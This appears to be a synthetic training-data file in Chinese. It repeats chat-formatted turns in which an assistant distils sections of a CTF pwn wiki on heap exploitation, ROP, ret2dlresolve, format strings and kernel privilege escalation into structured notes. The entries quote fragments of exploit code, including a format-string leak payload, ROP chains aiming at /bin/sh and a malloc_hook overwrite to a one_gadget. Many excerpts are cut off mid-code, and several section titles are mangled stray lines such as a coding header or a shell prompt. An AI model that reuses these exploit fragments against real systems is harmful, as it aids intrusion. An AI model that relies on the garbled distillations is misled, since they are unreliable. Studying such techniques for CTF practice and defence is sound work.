- plain: 7 行，首行 `0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简单示例1

边界/溢出 堆 AI安全 漏洞利用 pwn linux user-mode heap code:c

House Of Force


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「通过 __malloc_trim 函数得出」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：Unsorted Bin Attack > Unsorted Bin Leak > Leak 原理 > 通过 __malloc_trim 函数得出
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“通过 __malloc_trim 函数得出”展开。
- 这里对 main_arena 进行了访问，所以我们就可以通过 IDA 等工具分析出偏移了。
- } ` 注意到 mstate ar_ptr = &main_arena;
- mstate ar_ptr = &main_arena;
- [图片文件: ./figure/malloc-trim-ida.png] 比如把 .so 文件放到 IDA 中，找到 malloc_trim` 函数，就可以获得偏移了。
- 在 malloc.c 中有这样一段代码 ``cpp int __malloc_trim (size_t s) { int result = 0;

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:cpp

代码/命令片段线索：
- cpp: 17 行，首行 `int`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

通过 __malloc_trim 函数得出

Unsorted Bin Attack
Unsorted Bin Leak
Leak 原理
通过 __malloc_trim 函数得出

堆 AI安全 漏洞利用 pwn linux user-mode heap code:cpp

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md` 中的章节「基本示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md`
标题：堆溢出
章节：堆溢出 > 基本示例
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本示例”展开。
- 下面我们举一个简单的例子： `` #include <stdio.h> int main(void) { char chunk;
- } ` 这个程序的主要目的是调用 malloc 分配一块堆上的内存，之后向这个堆块中写入一个字符串，如果输入的字符串过长会导致溢出 chunk 的区域并覆盖到其后的 top chunk 之中(实际上 puts 内部会调用 malloc 分配堆内存，覆盖到的可能并不是 top chunk)。

关键术语：
- 边界/溢出
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 9 行，首行 `#include <stdio.h>`
- plain: 5 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <===chunk`
- plain: 5 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <===chunk`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本示例

堆溢出


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「Extra. 侧信道攻击」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`
标题：Double Fetch
章节：Double Fetch > 2018 0CTF Finals Baby Kernel > Extra. 侧信道攻击
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Extra. 侧信道攻击”展开。
- } int main(int argc, char argv, char envp) { int fd, flag_len;
- 由于 flag 被硬编码在 .ko 文件中，故通过是否造成 kernel panic 可以逐字符爆破 flag 内容。
- ASCII 可见字符 95 个，flag 长度 33，开头 [FLAG_REDACTED] 减去6个字符，最多只需要爆破 *26 \ 95 = 2470 次便能够获得 flag。
- void chal_print_flag(int fd) { ioctl(fd, 0x6666);
- } void chal_verify_flag(int fd, struct chal_arg arg) { ioctl(fd, 0x1337, arg);

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 17 行，首行 `/*`
- c: 56 行，首行 `/**`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Extra. 侧信道攻击

Double Fetch
2018 0CTF Finals Baby Kernel
Extra. 侧信道攻击

AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

Double Fetch


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2usr.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2usr.md`
标题：ret2usr（已过时）
章节：ret2usr（已过时） > 概述
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“概述”展开。
- 通常 CTF 中的 ret2usr 还是以执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权为主要的攻击手法，不过相比起构造冗长的ROP chain，ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可，在这种情况下 我们只需要劫持内核执行流，而无需在内核空间构造复杂的 ROP 链条 。
- 在【未】开启SMAP/SMEP保护的情况下，用户空间无法访问内核空间的数据，但是内核空间可以访问/执行用户空间的数据，因此 ret2usr 这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权。
- > 在 QEMU 启动参数中，我们可以为 CPU 参数加上 -smep,-smap 以显式关闭 SMEP&SMAP 保护，例如： > > ``bash > #!
- /bin/sh > qemu-system-x86_64 \ > -enable-kvm \ > -cpu host,-smep,-smap \ > # ... > `` >
- ✳ 对于开启了 SMAP/SMEP保护 的 kernel 而言，内核空间尝试直接访问用户空间会引起 kernel panic，我们将在下一章节讲述其绕过方式。

关键术语：
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:bash

代码/命令片段线索：
- bash: 6 行，首行 `> #!/bin/sh`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

概述

ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation code:bash

ret2usr（已过时）


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「演示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > Fastbin Double Free > 演示
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“演示”展开。
- = idx, 0)) { errstr = "malloc(): memory corruption (fast)";
- errout: malloc_printerr (check_action, errstr, chunk2mem (victim));
- 的操作，这是因为_int_malloc会对欲分配位置的 size 域进行验证，如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 1 行，首行 `值得注意的是，我们在 main 函数的第一步就进行了`bss_chunk.size=0x21;`的操作，这是因为_int_malloc会对欲分配位置的 size 域进行验证，如果其 size 与当前 fastbin 链表应有 size...`
- plain: 1 行，首行 `_int_malloc 中的校验如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

演示

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`
标题：Use After Free
章节：-- coding: utf-8 --
路径分类：pwn / pwn/linux/user-mode
分块：3/3

核心知识点：
- 本节主题围绕“-- coding: utf-8 --”展开。
- Exit ---------------------- ` 同时，我们还可以借助gef的heap-analysis-helper 来看一下整体的堆的申请与释放的情况，如下 `asm gef➤ heap-analysis-helper [] This feature is under development, expect bugs and unstability...
- [*] Note: The heap analysis slows down noticeably the execution. gef➤ c Continuing.
- `asm gef➤ x/2xw 0x804b008 0x804b008: 0x00000000 0x0804b018 ` 覆盖后，具体的值如下 `asm gef➤ x/2xw 0x804b008 0x804b008: 0x08048986 0x0804b00a gef➤ x/i 0x08048986 0x8048986 <magic>: push ebp ` 可以看出，确实已经被覆盖为我们所想要的magic函数了。
- ns[idx=2, size=0x10] 0x00 Fastbins[idx=3, size=0x14] ← UsedChunk(addr=0x804b050, size=0x28) ← UsedChunk(addr=0x804b018, size=0x28) Fastbins[idx=4, size=0x18] 0x00 Fastbins[idx=5, size=0x1c] 0x00 Fastbins[idx=6, size=0x20] 0x00 `` 那么，此时即将要申请note2，我们可以看下note2...
- 最后执行的效果如下 `shell [+] Starting local process './hacknote': pid 35030 [] Switching to interactive mode [FLAG_REDACTED]---------------------- HackNote ---------------------- 1.

关键术语：
- UAF
- 边界/溢出
- 堆
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 2 行，首行 `那么，此时即将要申请note2，我们可以看下note2都申请到了什么内存块，如下`
- plain: 1 行，首行 `**申请note2的content的内存地址为0x804b008，就是note0对应的地址，即此时我们向note2的content写内容，就会将note0的put字段覆盖。**`
- plain: 1 行，首行 `我们来具体检验一下，看一下覆盖前的情况，可以看到该内存块的`printnote`指针已经被置为NULL了，这是由fastbin的free机制决定的。`
- plain: 1 行，首行 `覆盖后，具体的值如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

-- coding: utf-8 --

Use After Free


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]”展开。
- $ file bamboobox bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:17]

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「chunk相关宏」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：define INTERNAL_SIZE_T size_t > chunk相关宏
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“chunk相关宏”展开。
- (p)) + chunksize(p)))->mchunk_size &= ~(PREV_INUSE) ```
- ```c++ / Set size at head, without disturbing its use bit / // SIZE_BITS = 7 #define set_head_size(p, s) \ ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
- / Set size/use field / #define set_head(p, s) ((p)->mchunk_size = (s))
- / Set size at footer (only when chunk is not in use) / #define set_foot(p, s) \ (((mchunkptr)((char *) (p) + (s)))->mchunk_prev_size = (s)) ```
- ``c++ / Treat space at ptr + offset as a chunk / #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s))) ``

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 1 行，首行 `**设置chunk的size字段**`
- plain: 1 行，首行 `**获取指定偏移的chunk**`
- plain: 1 行，首行 `**指定偏移处chunk使用状态相关操作**`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

chunk相关宏

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get system addr & binsh_addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > get system addr & binsh_addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“get system addr & binsh_addr”展开。
- payload = '%31$paaaa' createcontact('1111', '1111', '111', payload) printcontact() libc_start_main_ret = int(sh.recvuntil('aaaa', drop=True), 16) log.success('get libc_start_main_ret addr: ' + hex(libc_start_main_ret)) libc = LibcSearcher('__libc_start_main...

关键术语：
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

get system addr & binsh_addr

ROP/JOP AI安全 漏洞利用 pwn linux user-mode fmtstr

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stack privot to bss segment, set esp = base_stage」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：stack privot to bss segment, set esp = base_stage
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“stack privot to bss segment, set esp = base_stage”展开。
- stack_size = 0x800 # new stack size is 0x800 base_stage = bss_addr + stack_size + (0x080487C2-0x080487A8)/20x10 rop.raw('a' offset) # padding rop.read(0, base_stage, 100) # read 100 byte to base_stage rop.migrate(base_stage) r.sendline(rop.chain())
- rop = ROP('./main_partial_relro_32') sh = "/bin/sh"
- plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

stack privot to bss segment, set esp = base_stage

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md` 中的章节「malloc_hook 上方」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md`
标题：House of Roman
章节：malloc_hook 上方
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“malloc_hook 上方”展开。
- malloc_hook_nearly = "\xed\x1a" edit(1,malloc_hook_nearly) info("部分写，修改 fastbin->fd ---> malloc_hook") `` 然后分配 3 个 0x70 的 chunk ，就可以拿到 malloc_hook 所在的那个 chunk .

关键术语：
- UAF
- 堆
- AI安全
- 修复/缓解
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 1 行，首行 `然后分配 `3` 个 `0x70` 的 `chunk` ，就可以拿到 `malloc_hook` 所在的那个 `chunk` .`
- plain: 1 行，首行 `然后 `free` 掉 `E` ，进入 `fastbin` ，利用 `uaf` 设置 `E->fd = 0` ， 修复了 `fastbin``
- plain: 1 行，首行 `然后是 unsorted bin 攻击，使得 malloc_hook 的值为 main_arena+88`
- plain: 1 行，首行 `利用 修改 `malloc_hook` 的低三个字节 ，使得 `malloc_hook` 为 `one_gadget` 的地址`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

malloc_hook 上方

UAF 堆 AI安全 修复/缓解 漏洞利用 pwn linux user-mode heap

House of Roman


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「make a fake write symbol at base_stage + 32 + align」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：make a fake write symbol at base_stage + 32 + align
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“make a fake write symbol at base_stage + 32 + align”展开。
- fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf ) # since the size of Elf32_Symbol is 0x10 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write fake_write_s...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

make a fake write symbol at base_stage + 32 + align

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`
标题：Arm ROP
章节：for i in range(100, 150)[::-1]: > 2018 上海市大学生网络安全大赛 - baby_arm > 思路
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 理一下思路，可以直接 rop，但我们不知道远程的 libc 版本，同时也发现程序中有调用 mprotect 的代码段 ``assembly .text:00000000004007C8 STP X29, X30, [SP,#-0x10]!
- CODE XREF: sub_400868+3C↑j .text:00000000004008CC LDP X19, X20, [SP,#var_s10] .text:00000000004008D0 LDP X21, X22, [SP,#var_s20] .text:00000000004008D4 LDP X23, X24, [SP,#var_s30] .text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 .text:00000000004008DC...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow
- code:assembly

代码/命令片段线索：
- assembly: 10 行，首行 `.text:00000000004007C8 STP X29, X30, [SP,#-0x10]!`
- assembly: 15 行，首行 `.text:00000000004008AC LDR X3, [X21,X19,LSL#3]`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

思路

for i in range(100, 150)[::-1]:
2018 上海市大学生网络安全大赛 - baby_arm
思路

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:assembly

Arm ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md` 中的章节「例题：D^3CTF 2025 - d3kshrm」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md`
标题：利用内存溢出触发 OOM Killer 提供 root shell
章节：tty4::askfirst:/bin/sh > 例题：D^3CTF 2025 - d3kshrm
路径分类：pwn / pwn/linux/kernel-mode
分块：1/2

核心知识点：
- 本节主题围绕“例题：D^3CTF 2025 - d3kshrm”展开。
- if (socket_fd < 0) { log_error("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)");
- if (ret < 0) { log_error("[x] failed at setsockopt(PACKET_VERSION)");
- if (ret < 0) { log_error("[x] failed at setsockopt(PACKET_TX_RING)");
- / create an isolate namespace/ if (unshare_setup()) { err_exit("FAILED to initialize PGV subsystem for page spraying!
- if (ret < 0) { perror(ERROR_MSG("[x] Failed at allocating packet socket"));

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:shell

代码/命令片段线索：
- shell: 7 行，首行 `$ cat /etc/inittab`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题：D^3CTF 2025 - d3kshrm

AI安全 漏洞利用 pwn linux kernel-mode exploitation code:shell

利用内存溢出触发 OOM Killer 提供 root shell


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md`
标题：堆溢出
章节：堆溢出 > 介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“介绍”展开。
- 堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数（之所以是可使用而不是用户申请的字节数，是因为堆管理器会对用户所申请的字节数进行调整，这也导致可利用的字节数都不小于用户申请的字节数），因而导致了数据溢出，并覆盖到物理相邻的高地址的下一个堆块。
- 对于攻击者来说，堆溢出漏洞轻则可以使得程序崩溃，重则可以使得攻击者控制程序执行流程。
- 但是其与栈溢出所不同的是，堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据，因此我们一般无法直接通过堆溢出来控制 EIP 。
- 一般来说，我们利用堆溢出的策略是 1. 覆盖与其物理相邻的下一个 chunk 的内容。
- 2. 利用堆中的机制（如 unlink 等 ）来实现任意地址写入（ Write-Anything-Anywhere）或控制堆块中的内容等效果，从而来控制程序的执行流。

关键术语：
- 边界/溢出
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

介绍

边界/溢出 堆 栈 AI安全 漏洞利用 pwn linux user-mode heap

堆溢出


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「virtio 配置操作抽象」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`
标题：IO 虚拟化
章节：IO 虚拟化 > 软件半虚拟化 - virtio > virtio 配置操作抽象
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“virtio 配置操作抽象”展开。
- 结合 virtqueue，我们现在可以抽象出一个虚拟 PCI 设备的基本操作： - 获取 feature bits - 读写配置空间 - 读写 status bits - 设备重置 - 创建/销毁 virtqueue 我们将其抽象成一张函数表：virtio_config_ops。
- ``c struct virtio_config_ops { bool (feature)(struct virtio_device vdev, unsigned bit);
- void (get)(struct virtio_device vdev, unsigned offset, void buf, unsigned len);
- void (set)(struct virtio_device vdev, unsigned offset, const void buf, unsigned len);
- u8 (get_status)(struct virtio_device vdev);

关键术语：
- pwn
- virtualization
- basic-knowledge
- io-virtualization.md
- code:c

代码/命令片段线索：
- c: 15 行，首行 `struct virtio_config_ops`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

virtio 配置操作抽象

IO 虚拟化
软件半虚拟化 - virtio
virtio 配置操作抽象

pwn virtualization basic-knowledge io-virtualization.md code:c

IO 虚拟化